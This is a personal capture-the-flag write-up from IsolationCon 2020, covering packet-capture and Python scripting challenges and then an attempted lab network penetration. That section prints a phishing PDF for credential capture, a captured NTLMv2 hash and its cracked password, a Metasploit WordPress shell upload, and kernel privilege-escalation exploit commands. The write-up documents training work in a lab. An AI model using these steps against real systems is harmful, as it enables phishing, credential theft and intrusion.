IsolationCon CTF 2020

IsolationCon is an online conference, organised by The Many Hats Club, for information security people from all teams and different backgrounds all over the world to raise money for Médecins Sans Frontières (MSF). Point3 hosted the CTF on their Escalate platform.
@themanyhatsclub
April 19 2020

IsolationCon CTF 2020

This was a blast. I got to try out so many new things that I've wanted to do, particularly the programming challenges and the network attack! I knocked off the available Networking Foundations and Programming Foundations challenges, and spent the rest of my time on my first unassisted network penetration.

helpfulwine (Networking Foundations Level 1)

The file available for download here is your challenge. Extract the flag from the captured packets.

So, some packet analysis, from the sounds of it, and sure enough running file on the downloaded file shows us it's a pcap. Let's open it in Wireshark.

It's a small capture, and following the TCP stream gives us the flag right away. (Copy paste from the browser-based VM I'm using for this doesn't work and I'm not typing out MD5 hashes all day, so no flag reveals here.)

rhetoricalairplane (Networking Foundations Level 2)

The file available for download here is your challenge. Extract the flag from the captured packets.

More packet capture! Open the puppy up in Wireshark, and there's a single lonely UDP packet with the flag right in it...too easy.

numberlesslove (Networking Foundations Level 3)

The file available for download here is your challenge. Extract the flag from the captured packets.

More packets...Still small, with some HTTP mixed in. Looking at the HTTP object export, we can see flag.html. Save the file, and we can cat it to reveal the flag.

tenthcook (Programming Foundations Level 1)

This is arithmetic. Just like you learned in primary school. Add a few numbers here. Multiply a few there. Ensure greater than 32-bits are truncated...Well, maybe my primary school was different than yours...Oh. And you need to do it fast. Like write-a-program-to-do-it fast. I trust Python will serve you well.

The files available for download below will be running on your target. The conf file may contain useful information such as the port number the binary file is being served from. You will want to connect to the IP address provided to you on the specific port in order to attempt the challenge.

Two files to download: tenthcook.conf and tenthcook.bin. The former has come configuration settings for connecting on port 1392. The latter is a linux binary that provides the flag. And we're given an IP of 172.30.66.253.

Catting the binary, we can see response text:
"Segfault at address %p"
"r/root/flag.txt"
"See this flag? That's hexidecimal too! Take this flag: %s"
"I'm going to give you a number in hexidecimal"
"You're going to send one back in decimal. Cool?"
"Cool. Here we go:"
"Boom! That's it!"
"Okay, okay. Another!"
"This time this one is decimal %d What's it in binary?"
"Sweet!"
"Okay, okay, okay...ONE MORE!"
"Two numbers. Both hexidecimal: %x %x"
"Give me the product of the two numbers as an unsigned 32-bit int."
"Send it back as hexidecimal."
"O. M. G. You did it!"
"Shame...you were on a roll! Well. Good try at least."
"Come back when you level up your math skills!"
"Is that even an number?"

OK. Looks like we're going to be fed some numbers, do some conversion and multiplication in stages and have to do it on the fly...I do need some practice accepting data from a service and feeding it back.

I cobbled together this code to accept and send the conversions and math:

#!/usr/bin/env python3

from pwn import *
from numpy import uint32

host = "172.30.66.253"
port = 1392

s = remote(host,port)

print(s.recvuntil("\n"))
print(s.recvuntil("\n"))
num1 = str(s.recvuntil("\n").decode("latin-1"))
num1 = num1[-5:]
num1dec = int(num1, 16)
s.sendline(str(num1dec))

print(s.recvuntil("\n"))
print(s.recvuntil("\n"))
num2 = str(s.recvuntil("\n").decode("latin-1"))
print(s.recvuntil("\n"))
num2 = int(num2[-6:])
num2bin = bin(num2)
s.sendline(str(num2bin[2:]))

print(s.recvuntil("\n"))
print(s.recvuntil("\n"))
nums3 = str(s.recvuntil("\n").decode("latin-1"))
print(s.recvuntil("\n"))
print(s.recvuntil("\n"))
num3a = nums3[-9:-1]
num3adec = int(num3a, 16)
num3b = nums3[-18:-10]
num3bdec = int(num3b, 16)
num3 = num3adec*num3bdec
num3 = uint32(num3)
num3hex = hex(num3)
s.sendline(str(num3hex))
print(s.recvuntil("\n"))
print(s.recvuntil("\n"))
print(s.recvuntil("\n"))

s.close()

And after all of that , we get:
flag_{9279ceefccca40b5ace491f27e6d52ca}

mistythrone (Programming Foundations Level 3)

Obfuscation is the name of this game. Real encryption has its time and place. For most things, a single byte XOR does the trick.

The files available for download below will be running on your target. The conf file may contain useful information such as the port number the binary file is being served from. You will want to connect to the IP address provided to you on the specific port in order to attempt the challenge.

OK...again, two files to download: mistythrone.conf and mistythrone.bin. The former has come configuration settings for connecting on port 2509. The latter is a linux binary that provides the flag. And we're given an IP of 172.30.66.237.

Catting the binary, we can see response text:
"Too slow."
"Caught segfault at address %p"
"Howdy! Here's your flag. Oh, right. I forgot to decode it."
"r/root/flag.txt"
"[*] Your proof: %s"

Making the binary executable, and running it returns:

Howdy! Here's your flag.
Oh, right. I forgot to decode it.
Caught segfault at address (nil)
Caught segfault at address (nil)

Netcating to the IP and port returns:

Howdy! Here's your flag.
Oh, right. I forgot to decode it.
[*] Your proof: $.#%9utv$t{s'pp 'v#wvzu$zu q! #pvzs{?

I've done this for the Matasano challenges, so some quick modification of the Single byte XOR program like so:

# Here is the source text (40 char) to be XOR'd
a = '$.#%9utv$t{s\'pp \'v#wvzu$zu q! #pvzs{?'

for i in range(121):
score = 0
# Convert int i to hex
i = hex(i)
# Convert hex i without 0x to string and place in b
b = str(i[2::])
# If string b is only one digit, add a zero before
if len(b)==1:
b = "0" + b
# Make b into a string of 40 of the same hex number
b = str(b * 40)
c = bytearray.fromhex(b).decode()

d = [ chr(ord(x) ^ ord(y)) for (x,y) in zip(a, c) ]

e = ''.join(d)

print (e)

The ETAOIN SHRDLU portion of the original program doesn't help with just flag and a hash, so I just returned all of the possible outcomes, and located the flag manually:
flag{764f691e22be4a5487f87bb3cba24819}

And after a few bad attempts to submit it, we need to add an underscore after "flag" to meet the format requirements.

dramaticlumber (Network Operations)

We've received intelligence that indicates the group known as 'hacking.haus' is performing malicious actions on behalf of our adversary. YOu have been authorized to recon and engage them with any and all means available. Our sources indicate that they have a publicly facing web and mail server. Additional one of their members checks his email regularly as he is expecting a pdf from a fellow hacker. Our source says that due to internal policy, they are using Adobe Reader XI 11.0.01. Your goal is to gain Administrator access to their Domain Controller, capturing flags along the way. All boxes have one flag unless the flag file states otherwise. Good luck! NOTE: The IP given on this page is the IP of a Kali jump box to be used for this operation. Feel free to only use it to tunnel through, or use it directly (ssh creds: root:toor CHANGE ASAP!). It has lots of tools in /opt, some might be helpful.

And the IP is 172.30.67.69, which is a Kali box from the look of the hostname (dramaticlumber-kali) once we SSH in. This box has a second IP 192.0.2.25.

nslookup hacking.haus give us the following:

Server: 192.0.2.1
Address: 192.0.2.1#53

Name: hacking.haus
Address: 198.51.100.29

Nmapping that machine 198.51.100.29 we get:
80/tcp open http syn-ack ttl 62

I can wget from that site, and grab an index.html file, which I copied to a file locally and opened in Firefox. It gives us the homepage for Hacking.Haus - the Haus for Hackers, with a set of links and some text.

Home - 192.168.3.142
About - www.hacking.haus/index.php/about
Contact - www.hacking.haus/index.php/contact

The site is maintained by john@hacking.haus - a possible email for that malicious PDF - it is wordpress-powered, and there's a search field.

Let's wget grab those other web pages

About - "If you don't already know about us then we are not interested in doing business with you."

Contact - nothing new here

?s=john - the search returns no results, but does reflect the search parameter on the page. And now we get an address and hours:

Address
123 Main Street
New York, NY 10001

Hours
Monday—Friday: 9:00AM–5:00PM
Saturday & Sunday: 11:00AM–3:00PM

Looking closer at port 80, we can see:

80/tcp open http syn-ack ttl 62 Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Did not follow redirect to http://www.hacking.haus/

And wgetting /wp-admin we get a response from the login page.

The meta tag in the html shows WordPress 4.9.7

nmap --script http-wordpress-enum 198.51.100.29 shows:

80/tcp open http syn-ack ttl 62
| http-wordpress-enum:
| Search limited to top 100 themes/plugins
| themes
| twentyfifteen 2.0
| twentysixteen 1.5
| twentyseventeen 1.6
| plugins
|_ wordpress-importer 0.6.4

And wpscan doesn't seem to be working. Let's put that on hold for now.

I can also connect to the DNS server. So, let's nmap that.

53/tcp open domain syn-ack ttl 64 dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
MAC Address: 00:50:56:B2:BF:31 (VMware)

I can't dig to it, but MSF's enum_dns does show us the URL for the mail exchange server:
mail.hacking.haus

nslookup mail.hacking.haus gives us 203.0.113.62

and we can ping to that mail server...more nmap
22/tcp open ssh syn-ack ttl 63
25/tcp open smtp syn-ack ttl 63
80/tcp open http syn-ack ttl 63
110/tcp open pop3 syn-ack ttl 63
143/tcp open imap syn-ack ttl 63
443/tcp open https syn-ack ttl 63
993/tcp open imaps syn-ack ttl 63
995/tcp open pop3s syn-ack ttl 63

Looking around in /opt, there's a file "how-to-send-email.txt"
echo "message" | mail -s "subject" -A attachment.ext user@domain.tld

So, once we get an exploit PDF (using Bad-Pdf in /opt?), we can run
echo "see attached" | mail -s "Here it is." -A how-to.pdf john@hacking.haus

OK. Let's try creating the bad pdf and sending it to john.

python badpdf.py
host IP: 192.0.2.25
output file: how-to.pdf
listening interface: eth1

and after a couple of minutes, Responder returns:

[SMBv2] NTLMv2-SSP Client : 198.51.100.29
[SMBv2] NTLMv2-SSP Username : HACKING\john
[SMBv2] NTLMv2-SSP Hash :
john::HACKING:d01eb8554d7b5715:E7D3530F3BBC674BAD77CD48EA33BBB1:0101000000000000C0653150DE09D2011
FCF5845A8DAA929000000000200080053004D004200330001001E00570049004E002D0050005200480034003900
3200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E0
02D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C
000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000
800300030000000000000000100000000200000182E02E535108EA2F9AACFCFA4127C75F1D85628957932351A2C0F
1FA6805E900A0010000000000000000000000000000000000009001E0063006900660073002F003100390032002
E0030002E0032002E0032003500000000000000000000000000

I copied the hash to a text file, and ran john on the file:

1qaz2wsx (john)

I really need the browser now, it seems, so time to ssh tunnel instead of using the box directly:

ssh -f -N user@172.30.67.69 -L 80: 172.30.67.69:3000

So, locally, I set up SOCKS Proxy:

ssh -D 1080 root@172.30.67.69

and set my local Firefox SOCKS Proxy (all other proxies blank) to 1080. I kept it on SOCKSv5 and checked the DNS for SOCKSv5 checkbox.

Navigating to www.hacking.haus/wp-admin, I can log in as:

john@hacking.haus:1qaz2wsx

and we get the admin panel! And there's nothing here that looks like a flag...so we need a shell. Back to msf and we're using:

unix/webapp/wp_admin_shell_upload
set rhost www.hacking.haus
set username john@hacking.haus
set password 1qaz2wsx

and we get a meterpreter session!

sysinfo shows:

Computer : www.hacking.haus
OS : Linux www.hacking.haus 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64
Meterpreter : php/linux

getuid shows:

Server username: www-data (33)

And that's when my session timed out!!!! Restarting we get IPs:

Tunnel Box: 172.30.67.200

OK. Back in and I have a shell:

find / -name flag* 2> /dev/null

and we've got a flag at /var/www/flag.txt

cat /var/www/flag.txt
859dc5942892b20f503738f0a8576937
There is another flag on this box

flag_{859dc5942892b20f503738f0a8576937}

So, I need to elevate privileges from www-data...which is not something I've done before. From this point forward, I'm really just stumbling about because I have very little time left to so research.

lsb_release -a shows:

Distributor ID: Ubuntu
Description: Ubuntu 14.04.3 LTS
Release: 14.04
Codename: trusty

searchsploit privilege | grep -i linux | grep -i Ubuntu | grep 14.04

Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege E | exploits/linux/local/47169.c

On the ssh box: gcc -o /tmp/exploit 47169.c

In meterpreter: upload /tmp/exploit /tmp

execute -c -f "/tmp/exploit" -i

That creates a new channel, but I can't interact with it
[.] starting
[.] checking kernel version
[-] kernel version not recognized

I backgrounded the meterpreter session to collect more post-exploitation data: use post/linux/gather/enum_network

nameserver 192.168.1.1

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -

192.168.1.0 255.255.255.0 network

use post/linux/gather/enum_configs

MySQL running on 3306?
[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock

And one last poke at an automated priv esc:

use linux/local/overlayfs_priv_esc

[!] [2020.04.19-19:19:34] SESSION may not be compatible with this module.
[*] [2020.04.19-19:19:34] Started reverse TCP handler on 0.0.0.0:443
[*] [2020.04.19-19:19:34] Checking if mount points exist
[+] [2020.04.19-19:19:34] /tmp/haxhax not created
[-] [2020.04.19-19:19:34] Unknown OS: sh: 0: getcwd() failed: No such file or directory ID=ubuntu
[-] [2020.04.19-19:19:34] Exploit aborted due to failure: not-vulnerable: Target not vulnerable! punt!
[*] Exploit completed, but no session was created.

And that's where I ran out of time...ah well, I got one of the flags! That was my first network hack from scratch on my own, and I found 1 of 5 flags. Not unhappy with that, and now I know I need to learn some privilege escalation techniques.

FINAL RESULTS

Final Score: 312
Final Rank: 12